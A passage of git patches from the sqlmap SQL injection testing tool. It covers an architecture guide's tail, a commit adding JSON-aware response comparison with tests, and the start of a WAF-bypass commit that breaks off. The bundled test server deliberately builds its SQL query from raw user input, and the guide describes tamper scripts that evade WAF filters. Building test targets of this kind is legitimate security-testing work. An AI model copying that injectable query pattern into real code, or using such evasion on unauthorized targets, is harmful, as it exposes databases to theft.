`databases.py`, `entries.py`, `users.py`, `filesystem.py`, + `takeover.py`, `syntax.py`, `misc.py`, `search.py`, `custom.py`, `connector.py` + (direct DB connection for `-d`). +- **`plugins/dbms//`** - one directory per supported DBMS, subclassing the generic + pieces and supplying dialect specifics. +- **`data/xml/queries.xml`** - per-DBMS SQL query templates (banner, current user, table + enumeration, casting, etc.) keyed by DBMS. The generic code asks for a query by name; + the dialect comes from XML. + +`conf.dbmsHandler` (set in `handler.py`) is the live object that `action()` calls into. + +--- + +## 8. Output and session + +- **Output** - `conf.dumper` is a `Dump` instance (`lib/core/dump.py`): console tables + plus per-table file export in CSV / HTML / SQLITE / JSONL (`--dump-format`). Logging + is via `logger` (`lib/core/log.py`). +- **Session / resume** - each target gets a SQLite session file + (`//session.sqlite`). `hashDBWrite()` / `hashDBRetrieve()` + (`lib/core/common.py`, backed by `lib/utils/hashdb.py`) cache injection points, + fingerprint, and extracted values so a re-run *resumes* instead of re-testing + (`--flush-session` discards it; `--fresh-queries` ignores cached query results). A + stale-session nudge fires on resume when the file is older than `HASHDB_STALE_DAYS`. + +--- + +## 9. Request layer and tampering + +`lib/request/connect.py` (`Connect.getPage`) is the single HTTP chokepoint. Around it: +protocol handlers (`httpshandler`, `redirecthandler`, `chunkedhandler`, `rangehandler`, +keep-alive via `thirdparty/keepalive`), response processing (`basic.py`), and the +comparison oracle (`comparison.py`). + +**Tamper scripts** (`tamper/`) mutate the payload just before sending to evade WAF/IPS. +Each file exposes a `tamper(payload, **kwargs)` and a `__priority__`; `--tamper=a,b,c` +chains them in priority order. They are payload-string transforms only (no engine +coupling), which is why they compose freely. + +--- + +## 10. REST API and JSON report + +`lib/utils/api.py` runs a Bottle server (`sqlmapapi.py -s`) that drives sqlmap scans as +subprocesses and exposes them over HTTP. Key pieces: `DataStore`/`Task` (task registry), +an IPC SQLite `Database` (the subprocess writes results/logs/errors back through +`StdDbOut`), and the route handlers (`/task/*`, `/option/*`, `/scan/*`, `/version`, ...). +The contract is documented in `sqlmapapi.yaml` (OpenAPI) and `REST-API.md`. + +`--report-json` reuses the *same* assembly code (`_assembleData` / `_sanitizeScanData`) +that the `/scan//data` endpoint uses, so the CLI report and the API result can't +drift; `RESTAPI_VERSION` is the API contract version (major exposed as integer). + +--- + +## 11. Tests and self-tests + +Two complementary layers: + +- **Offline unit/regression suite** (`tests/`) - stdlib `unittest` only (no pytest/pip), + green on py2 + py3. `_testutils.py` bootstraps global state and provides the + property/fuzz harness (`Rng` - a cross-version-identical PRNG - and `for_all`). Run: + `python -B -m unittest discover -s tests -p "test_*.py"` (`-B` matters: a cached `.pyc` + makes a `getFileType(__file__)` doctest see `binary`). +- **In-tree self-tests** (`lib/core/testing.py`, hidden switches): `--smoke-test` + (doctests + regex sanity over the whole tree), `--vuln-test` (end-to-end scans against + the bundled `extra/vulnserver`), `--api-test` (live REST round-trip). The CI workflow + (`.github/workflows/tests.yml`) runs all of these. + +--- + +## 12. "Where do I start for ...?" + +| I want to change... | Start in | +|---------------------|----------| +| a CLI option | `lib/parse/cmdline.py` (+ `optiondict.py`, `defaults.py`) | +| a constant/threshold | `lib/core/settings.py` | +| how injection is *detected* | `data/xml/boundaries.xml` + `data/xml/payloads/*.xml`, then `lib/controller/checks.py` | +| how a value is *extracted* | `lib/request/inject.py` + the relevant `lib/techniques/` engine | +| the true/false decision | `lib/request/comparison.py` | +| a per-DBMS query/dialect | `data/xml/queries.xml` + `plugins/dbms//` | +| enumeration behavior | `plugins/generic/*.py` | +| dump/output format | `lib/core/dump.py` | +| a WAF-bypass transform | add a file under `tamper/` | +| the REST API surface | `lib/utils/api.py` (+ keep `sqlmapapi.yaml` in sync) | +| session/resume behavior | `lib/utils/hashdb.py` + `hashDB*` in `lib/core/common.py` | +| a stdlib monkey-patch / security shim | `lib/core/patch.py` | diff --git a/lib/core/settings.py b/lib/core/settings.py index 2bb5c2a05..35f0fd86f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.117" +VERSION = "1.10.6.118" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From a0cbfba9bd338b45c1ad8504229fd8add42bdda8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 16 Jun 2026 10:02:44 +0200 Subject: [PATCH 024/165] Adding support for better JSON comparison --- data/txt/sha256sums.txt | 11 +-- extra/vulnserver/vulnserver.py | 51 +++++++----- lib/core/common.py | 39 +++++++++ lib/core/settings.py | 2 +- lib/core/testing.py | 1 + lib/request/comparison.py | 42 ++++++++-- tests/test_comparison_json.py | 142 +++++++++++++++++++++++++++++++++ 7 files changed, 256 insertions(+), 32 deletions(-) create mode 100644 tests/test_comparison_json.py diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 3088c412e..e878ab6d6 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -160,7 +160,7 @@ ca86d61d3349ed2d94a6b164d4648cff9701199b5e32378c3f40fca0f517b128 extra/shutils/ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/recloak.sh 1972990a67caf2d0231eacf60e211acf545d9d0beeb3c145a49ba33d5d491b3f extra/shutils/strip.sh 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py -9e5e4d3d9acb767412259895a3ee75e1a5f42d0b9923f17605d771db384a6f60 extra/vulnserver/vulnserver.py +072a2c19162cc4e76476cf474134f18a5ec45cce9a4e4d216dad8e7a71ece048 extra/vulnserver/vulnserver.py b8411d1035bb49b073476404e61e1be7f4c61e205057730e2f7880beadcd5f60 lib/controller/action.py 6da812281a69c8b7a5181c2f76374dc695e4727b2936042651bacbeda4e6bcc9 lib/controller/checks.py 969737ac9cd3fa7bac8b582a85016bd348ba2087daa3644a570a9127e686363b lib/controller/controller.py @@ -168,7 +168,7 @@ d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py b36b085ff1b5797e375c1e2ca3b12c7ab4204f48acd1a1efb075cff8302d9750 lib/core/agent.py ca3e5ce56cb1cae0a8e815425ab6810068004bffe8861d1037c7c87c0ae02477 lib/core/bigarray.py -7fc5a845a78e6fb7b1a2fdef2fe529510ac5f2c9fac78de588844b4a8c1504e1 lib/core/common.py +734a00fd87c67cde48d9ab9b5cdfa8b064300939898c4de2636e91d16a4223ba lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py 742bce10b97034966021ec60c7ac294db4af4fe7893613d63172a02c29f009f8 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -189,11 +189,11 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -878a1bbd202fa07ded97ab33e630b196e159aec49a6377d01247c4ccb1152a37 lib/core/settings.py +222177a7a8e4c16ec4eae9f9542794ebf46a34b29390e967fe9fc26189261372 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py -daf2ad65fcea430b6272e3c538022c9871fdc3aba78f71669130fb0bc954c78e lib/core/testing.py +40b703993441fcd10ab06545b7dbe4a4762ab1ff517592a7e104a52785e62586 lib/core/testing.py e3e653364d08d04d7492aa40a2bd29c6a28f4d78fecdd6c10f21f6cb28b98b4c lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py 53e396902cb2546eaa09e77073fcba8be8827ee9ce055cfc899e81b0e6ad4d6d lib/core/update.py @@ -211,7 +211,7 @@ c2f34e27578742e729c2fa9c1d4f0a0d8f8f7f4cf0fc14c62ec817a260c71dec lib/parse/site 1be3da334411657461421b8a26a0f2ff28e1af1e28f1e963c6c92768f9b0847c lib/request/basicauthhandler.py 369484a2999d29f49bf839a329d1686ed94f6ea27c695e027fe08c8da51f30a3 lib/request/basic.py bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/chunkedhandler.py -09c2d8786fb5280f5f14a7b4345ecb2e7c2ca836ee06a6cf9b51770df923d94c lib/request/comparison.py +390cc4882ba9c76e16a5376ba6d856079e7cb47a3e4ee11925139e637ce05050 lib/request/comparison.py ec14b5139cd6b03aa167a7b91fab913baf042d4370471390c13eed325eeb245f lib/request/connect.py 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py cf019248253a5d7edb7bc474aa020b9e8625d73008a463c56ba2b539d7f2d8ec lib/request/dns.py @@ -571,6 +571,7 @@ d4d7d3525d25ce72bf38bd38b5fdf61144e381993d63be7dc72b2b4811ffab67 tests/test_big 27ad87c0ea377e0657bd6f6a4eaa0e9756aa9d28ec0483bdadeb3f66dcc4660d tests/test_charset.py 9e678a56e16211c49ab4995b6c658d3f122bfa3b357d9e17ff38f5a489ace6ad tests/test_cloak.py a48c411fea864e6bcd6a1c7e1a35094b8cda8d15088fd9e7b0270542ae20daa9 tests/test_common_helpers.py +899bc085e96d68f8a8cbe0d7e55863e98ef37b73ab0e4234f7d969e31ea2d23a tests/test_comparison_json.py 7b72d4f850bbd059b8e95fceb45a58470354cb7270c99b0e9981aaa189af20d1 tests/test_comparison.py 8593f14a18c4445c58b2e59462adcb761074ac7217cd7c3808519a90ba279bda tests/test_convert.py 5016119bdb57094381afdca35ef29a4a6641e26e4b48a9119f1db633e6123d29 tests/test_datafiles.py diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index 769108f92..05cdab2ef 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -229,6 +229,7 @@ class ReqHandler(BaseHTTPRequestHandler): self.wfile.write(b"vulnserver

GET:

link

POST:

ID: ") else: code, output = OK, "" + contentType = "text/html" try: if self.params.get("echo", ""): @@ -247,38 +248,48 @@ class ReqHandler(BaseHTTPRequestHandler): _cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"]) results = _cursor.fetchall() - output += "SQL results:
\n" - - if self.params.get("code", ""): - if not results: + if self.params.get("json", ""): + # JSON response mode: serialize the SAME query results as application/json + # (exercises the structure-aware comparison oracle end to end). HTML branches + # below are untouched, so existing tests are unaffected. + if self.params.get("code", "") and not results: code = INTERNAL_SERVER_ERROR + else: + contentType = "application/json" + output = json.dumps({"results": [list(row) for row in results], "count": len(results)}) else: - if results: - output += "
\n" + output += "SQL results:
\n" - for row in results: - output += "" - for value in row: - output += "" % value - output += "\n" - - output += "
%s
\n" + if self.params.get("code", ""): + if not results: + code = INTERNAL_SERVER_ERROR else: - output += "no results found" + if results: + output += "\n" - if not results: - output = "No results" + output - else: - output = "Results" + output + for row in results: + output += "" + for value in row: + output += "" % value + output += "\n" - output += "" + output += "
%s
\n" + else: + output += "no results found" + + if not results: + output = "No results" + output + else: + output = "Results" + output + + output += "" except Exception as ex: code = INTERNAL_SERVER_ERROR output = "%s: %s" % (re.search(r"'([^']+)'", str(type(ex))).group(1), ex) self.send_response(code) - self.send_header("Content-type", "text/html") + self.send_header("Content-type", contentType) self.send_header("Connection", "close") if self.raw_requestline.startswith(b"HEAD"): diff --git a/lib/core/common.py b/lib/core/common.py index 0dc2f3cb5..6ec8a9572 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1442,6 +1442,45 @@ def parseJson(content): return retVal +def jsonMinimize(content): + """ + Returns an order-independent canonical "leaf-path" projection of a JSON document, used for + structure-aware response comparison (so key reordering / whitespace / number formatting do + not perturb the comparison ratio, while a changed value or array length does). Returns None + (and only None) when content is not parseable JSON, so callers can fall back to text comparison + + >>> jsonMinimize('{"b": 2, "a": 1}') == jsonMinimize('{"a":1, "b":2}') + True + >>> jsonMinimize('{"a": {"b": 1}}') == '.a.b=1' + True + >>> jsonMinimize('not json') is None + True + >>> jsonMinimize('{}') == '' + True + """ + + try: + data = json.loads(content) + except (ValueError, TypeError): + return None + + lines = [] + + def _walk(obj, path): + if isinstance(obj, dict): + for key in sorted(obj): # sorted keys -> key-order/whitespace immune + _walk(obj[key], "%s.%s" % (path, key)) + elif isinstance(obj, (list, tuple)): + lines.append("%s.__len__=%d" % (path, len(obj))) # length change always registers + for index in xrange(len(obj)): # index kept -> order-sensitive (correct for result sets) + _walk(obj[index], "%s[%d]" % (path, index)) + else: + lines.append("%s=%s" % (path, obj)) # scalar values kept (boolean detection flips values) + + _walk(data, "") + + return "\n".join(sorted(lines)) + def parsePasswordHash(password): """ In case of Microsoft SQL Server password hash value is expanded to its components diff --git a/lib/core/settings.py b/lib/core/settings.py index 35f0fd86f..92280490b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.118" +VERSION = "1.10.6.119" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index 8493f2cf5..265104231 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -55,6 +55,7 @@ def vulnTest(): ("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable", "there is not at least one", "~might be injectable")), ("-u \"&id2=1\" -p id2 -v 5 --flush-session --level=5 --text-only --test-filter=\"AND boolean-based blind - WHERE or HAVING clause (MySQL comment)\"", ("~1AND",)), ("--list-tampers", ("between", "MySQL", "xforwardedfor")), + ("-u \"&json=1\" -p id --flush-session --technique=B --banner", ("Type: boolean-based blind", "banner: '3.")), # JSON-response detection via the structure-aware oracle (no --string hint) ("-r --flush-session -v 5 --test-skip=\"heavy\" --save=", ("CloudFlare", "web application technology: Express", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind", "saved command line options to the configuration file")), ("-c ", ("CloudFlare", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind")), ("-l --flush-session --keep-alive --skip-waf -vvvvv --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")), diff --git a/lib/request/comparison.py b/lib/request/comparison.py index 0c6ab2586..1338e6a21 100644 --- a/lib/request/comparison.py +++ b/lib/request/comparison.py @@ -11,6 +11,7 @@ import re from lib.core.common import extractRegexResult from lib.core.common import getFilteredPageContent +from lib.core.common import jsonMinimize from lib.core.common import listToStrValue from lib.core.common import removeDynamicContent from lib.core.common import getLastRequestHTTPError @@ -20,6 +21,7 @@ from lib.core.convert import getBytes from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.enums import HTTP_HEADER from lib.core.exception import SqlmapNoneDataException from lib.core.settings import DEFAULT_PAGE_ENCODING from lib.core.settings import DIFF_TOLERANCE @@ -34,6 +36,20 @@ from lib.core.settings import URI_HTTP_HEADER from lib.core.threads import getCurrentThreadData from thirdparty import six +def _isJsonResponse(headers): + """ + Returns True if the response Content-Type indicates a JSON document (e.g. 'application/json' + or a structured suffix like 'application/vnd.api+json') + """ + + retVal = False + + if headers: + contentType = (headers.get(HTTP_HEADER.CONTENT_TYPE) or "").split(';')[0].strip().lower() + retVal = contentType == "application/json" or contentType.endswith("+json") + + return retVal + def comparison(page, headers, code=None, getRatioValue=False, pageLength=None): if not isinstance(page, (six.text_type, six.binary_type, type(None))): logger.critical("got page of type %s; repr(page)[:200]=%s" % (type(page), repr(page)[:200])) @@ -97,6 +113,10 @@ def _comparison(page, headers, code, getRatioValue, pageLength): seqMatcher = threadData.seqMatcher seqMatcher.set_seq1(kb.pageTemplate) + # raw (pre-dynamic-removal) body, kept for the structured (JSON) comparison path below; + # parsing the raw form avoids removeDynamicContent splicing JSON mid-token + rawPage = page + if page: # In case of an DBMS error page return None if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()) and not kb.negativeLogic: @@ -148,12 +168,22 @@ def _comparison(page, headers, code, getRatioValue, pageLength): else: seq1, seq2 = None, None - if conf.titles: - seq1 = extractRegexResult(HTML_TITLE_REGEX, seqMatcher.a) - seq2 = extractRegexResult(HTML_TITLE_REGEX, page) - else: - seq1 = getFilteredPageContent(seqMatcher.a, True) if conf.textOnly else seqMatcher.a - seq2 = getFilteredPageContent(page, True) if conf.textOnly else page + # Structure-aware comparison for JSON responses: compare an order-independent + # projection of the parsed bodies instead of raw text, so key reordering/whitespace + # noise does not perturb the ratio while a changed value/array-length does. Engages + # only on a JSON Content-Type with both bodies parseable; any doubt (or an explicit + # --text-only/--titles) falls back to the exact text path below. + if _isJsonResponse(headers) and not (conf.titles or conf.textOnly or kb.nullConnection): + seq1 = jsonMinimize(kb.pageTemplate) + seq2 = jsonMinimize(rawPage) + + if seq1 is None or seq2 is None: + if conf.titles: + seq1 = extractRegexResult(HTML_TITLE_REGEX, seqMatcher.a) + seq2 = extractRegexResult(HTML_TITLE_REGEX, page) + else: + seq1 = getFilteredPageContent(seqMatcher.a, True) if conf.textOnly else seqMatcher.a + seq2 = getFilteredPageContent(page, True) if conf.textOnly else page if seq1 is None or seq2 is None: return None diff --git a/tests/test_comparison_json.py b/tests/test_comparison_json.py new file mode 100644 index 000000000..247195c19 --- /dev/null +++ b/tests/test_comparison_json.py @@ -0,0 +1,142 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +D1 - structure-aware (JSON) detection oracle. Two layers: + * jsonMinimize() (lib/core/common.py): the order-independent leaf-path projection. + * comparison() (lib/request/comparison.py): when the response Content-Type is JSON, the + similarity ratio is computed over that projection instead of raw text - so key + reordering / whitespace noise no longer perturbs it (false-positive fix) and a small + value/structure change is no longer drowned out in a large body (false-negative fix). + +The headline tests assert the JSON path is *better* than the text path on the same inputs, +not merely that it runs; and that any non-JSON / unparseable / explicit-mode case falls +back to the exact text behavior (so the HTML oracle is untouched). +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import jsonMinimize +from lib.core.data import conf, kb +from lib.core.enums import HTTP_HEADER +from lib.core.settings import UPPER_RATIO_BOUND +from lib.core.threads import getCurrentThreadData +from lib.request.comparison import comparison + + +class _Headers(object): + """Minimal stand-in for the per-response headers object the oracle receives.""" + def __init__(self, contentType): + self._ct = contentType + + def get(self, name, default=None): + return self._ct if (self._ct and name.lower() == HTTP_HEADER.CONTENT_TYPE.lower()) else default + + @property + def headers(self): + return ["%s: %s\r\n" % (HTTP_HEADER.CONTENT_TYPE, self._ct)] if self._ct else [] + + +class TestJsonMinimize(unittest.TestCase): + def test_order_and_whitespace_immune(self): + self.assertEqual(jsonMinimize('{"b":2,"a":1}'), jsonMinimize('{ "a": 1,\n "b": 2 }')) + + def test_value_flip_differs(self): + self.assertNotEqual(jsonMinimize('{"ok":true}'), jsonMinimize('{"ok":false}')) + + def test_array_length_registers(self): + self.assertNotEqual(jsonMinimize('{"r":[1,2,3]}'), jsonMinimize('{"r":[1,2,3,4]}')) + + def test_parse_failure_is_none(self): + for bad in ("", "{bad", "", "{'a':1}", None): + self.assertIsNone(jsonMinimize(bad)) + + def test_valid_edge_shapes_are_not_none(self): + # bare array, scalar, and top-level null are valid JSON -> defined (non-None) projections + for ok in ("[1,2]", "42", "null", '"x"'): + self.assertIsNotNone(jsonMinimize(ok)) + self.assertEqual(jsonMinimize("{}"), "") # empty object -> empty projection (not None) + + +class _OracleCase(unittest.TestCase): + _FLAGS = ("string", "notString", "regexp", "code", "titles", "textOnly") + _KB = ("matchRatio", "nullConnection", "heavilyDynamic", "skipSeqMatcher", + "errorIsNone", "negativeLogic", "dynamicMarkings", "testMode", "pageTemplate") + + def setUp(self): + self._c = dict((k, conf.get(k)) for k in self._FLAGS) + self._k = dict((k, kb.get(k)) for k in self._KB) + for k in self._FLAGS: + conf[k] = None + kb.nullConnection = kb.heavilyDynamic = kb.skipSeqMatcher = kb.errorIsNone = kb.negativeLogic = kb.testMode = False + kb.dynamicMarkings = [] + + def tearDown(self): + for k, v in self._c.items(): + conf[k] = v + for k, v in self._k.items(): + kb[k] = v + + def ratio(self, template, page, contentType): + # fresh, uncalibrated comparison each call + kb.matchRatio = None + kb.pageTemplate = template + td = getCurrentThreadData() + td.lastPageTemplate = None + return comparison(page, _Headers(contentType), getRatioValue=True) + + +class TestStructuredOracle(_OracleCase): + def test_noise_immunity_beats_text(self): + # same data, keys reordered + reindented: JSON path ~identical, text path measurably lower. + # This is D1's core win - reorder/whitespace noise (ubiquitous in real APIs) stops + # perturbing the ratio, which also stabilizes the kb.matchRatio calibration. + a = '{"id":1,"name":"alice","role":"admin"}' + b = '{ "role": "admin",\n "name": "alice",\n "id": 1 }' + jsonRatio = self.ratio(a, b, "application/json") + textRatio = self.ratio(a, b, "text/html") + self.assertGreater(jsonRatio, UPPER_RATIO_BOUND) # JSON: noise ignored -> True + self.assertLess(textRatio, jsonRatio) # text: perturbed by reordering + + def test_real_difference_still_detected(self): + # normalization must not over-collapse: a genuinely different value still separates + a = '{"role":"admin"}' + b = '{"role":"guest"}' + self.assertLess(self.ratio(a, b, "application/json"), UPPER_RATIO_BOUND) + + def test_html_contenttype_uses_text_path(self): + # identical inputs through a text/html response must equal the pure text baseline + a = '{"id":1,"name":"alice"}' + b = '{ "name": "alice", "id": 1 }' + conf.code = None + self.assertEqual(self.ratio(a, b, "text/html"), self.ratio(a, b, None)) + + def test_unparseable_json_falls_back(self): + # application/json Content-Type but a non-JSON body -> behaves exactly like the text path + a, b = "x", "y" + self.assertEqual(self.ratio(a, b, "application/json"), self.ratio(a, b, "text/html")) + + def test_structured_suffix_contenttype_gated_in(self): + a = '{"id":1,"name":"alice","role":"admin"}' + b = '{ "role":"admin", "name":"alice", "id":1 }' + self.assertGreater(self.ratio(a, b, "application/vnd.api+json; charset=utf-8"), UPPER_RATIO_BOUND) + + def test_textonly_escape_hatch_bypasses_json(self): + a = '{"id":1,"name":"alice"}' + b = '{ "name":"alice", "id":1 }' + withJson = self.ratio(a, b, "application/json") + conf.textOnly = True + withoutJson = self.ratio(a, b, "application/json") + self.assertGreater(withJson, withoutJson) # --text-only opts out of the JSON path + + +if __name__ == "__main__": + unittest.main() From 14041335380daea2ba44dcf1826bde23a85d50d1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 17 Jun 2026 15:58:08 +0200 Subject: [PATCH 025/165] Add --prove, opt-in --auto-tamper WAF bypass, and blindbinary/infoschema2innodb tampers --- data/txt/sha256sums.txt | 25 ++- extra/vulnserver/vulnserver.py | 65 ++++++ lib/controller/action.py | 36 ++++ lib/controller/checks.py | 21 +- lib/controller/controller.py | 67 ++++++- lib/core/enums.py | 1 + lib/core/option.py | 1 + lib/core/optiondict.py | 1 + lib/core/settings.py | 29 ++- lib/core/testing.py | 6 + lib/parse/cmdline.py | 3 + lib/utils/prove.py | 351 +++++++++++++++++++++++++++++++++ lib/utils/wafbypass.py | 156 +++++++++++++++ tamper/blindbinary.py | 114 +++++++++++ tamper/infoschema2innodb.py | 50 +++++ tests/test_wafbypass.py | 81 ++++++++ 16 files changed, 992 insertions(+), 15 deletions(-) create mode 100644 lib/utils/prove.py create mode 100644 lib/utils/wafbypass.py create mode 100644 tamper/blindbinary.py create mode 100644 tamper/infoschema2innodb.py create mode 100644 tests/test_wafbypass.py diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index e878ab6d6..1f1e5bbd0 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -160,10 +160,10 @@ ca86d61d3349ed2d94a6b164d4648cff9701199b5e32378c3f40fca0f517b128 extra/shutils/ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/recloak.sh 1972990a67caf2d0231eacf60e211acf545d9d0beeb3c145a49ba33d5d491b3f extra/shutils/strip.sh 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py -072a2c19162cc4e76476cf474134f18a5ec45cce9a4e4d216dad8e7a71ece048 extra/vulnserver/vulnserver.py -b8411d1035bb49b073476404e61e1be7f4c61e205057730e2f7880beadcd5f60 lib/controller/action.py -6da812281a69c8b7a5181c2f76374dc695e4727b2936042651bacbeda4e6bcc9 lib/controller/checks.py -969737ac9cd3fa7bac8b582a85016bd348ba2087daa3644a570a9127e686363b lib/controller/controller.py +63657c00a046ca0fb28fd069407ab6305bd7b95c42f26a96ed083fd05b152252 extra/vulnserver/vulnserver.py +3abecaec1a9c59645a4821463a2d761235f7a4f763a491f188a41a083bbddd98 lib/controller/action.py +6574ed70c7fe0ac305dbc85ed7102f648b6a3f42fe2fe6b89172d69717327149 lib/controller/checks.py +dcd4adcd7a2447a624ca7927541941d25767a4581af2d762c3197dc93790f4df lib/controller/controller.py d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py b36b085ff1b5797e375c1e2ca3b12c7ab4204f48acd1a1efb075cff8302d9750 lib/core/agent.py @@ -177,30 +177,30 @@ c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data. 147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d lib/core/defaults.py 2f44a1bfe6f18aafe64147b99e69aa93cf438c0e7befe59f4e2aee9065c8b7b6 lib/core/dicts.py 2592b0fd38c272c0b0d49878f4449437eb8ba8ff7536bb39b2ac9a2511010f7c lib/core/dump.py -6b9932d9c789a0e2ac28a493fb7914f49100a1c91de989bcdb20df9d40648522 lib/core/enums.py +e4f92e09737ff0dda7ec30e0db1912570e252853b3af9b8f2b9f68ad33cf09fe lib/core/enums.py 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py -3ec59b5eb336d9808d28496f1cbbad716b4a0e276b5399023142826e460e3fd2 lib/core/optiondict.py -b61676f0aa44798aaf9be72ff37550e2b78ed6ad3c71fbcad54f8c8bf7b34096 lib/core/option.py +06651cff25422dcb84c159f80faf8dc377d82ddd451b5910f12c4c6a3ebe1e94 lib/core/optiondict.py +e3a3729a24306b7ecace614fe27a8123c0becb0c5283ca519e5bcf376af2c711 lib/core/option.py ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 03db48f02c3d07a047ddb8fe33a757b6238867352d8ddda2a83e4fec09a98d04 lib/core/readlineng.py 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -222177a7a8e4c16ec4eae9f9542794ebf46a34b29390e967fe9fc26189261372 lib/core/settings.py +f01361d999b0cf89b8418265c4a4962924fcc03a6b87e15b39c0836788725e85 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py -40b703993441fcd10ab06545b7dbe4a4762ab1ff517592a7e104a52785e62586 lib/core/testing.py +c39dae0602b356d42f55df369c05614bbfb00c2abf2f0419fefe2ae781aa3098 lib/core/testing.py e3e653364d08d04d7492aa40a2bd29c6a28f4d78fecdd6c10f21f6cb28b98b4c lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py 53e396902cb2546eaa09e77073fcba8be8827ee9ce055cfc899e81b0e6ad4d6d lib/core/update.py 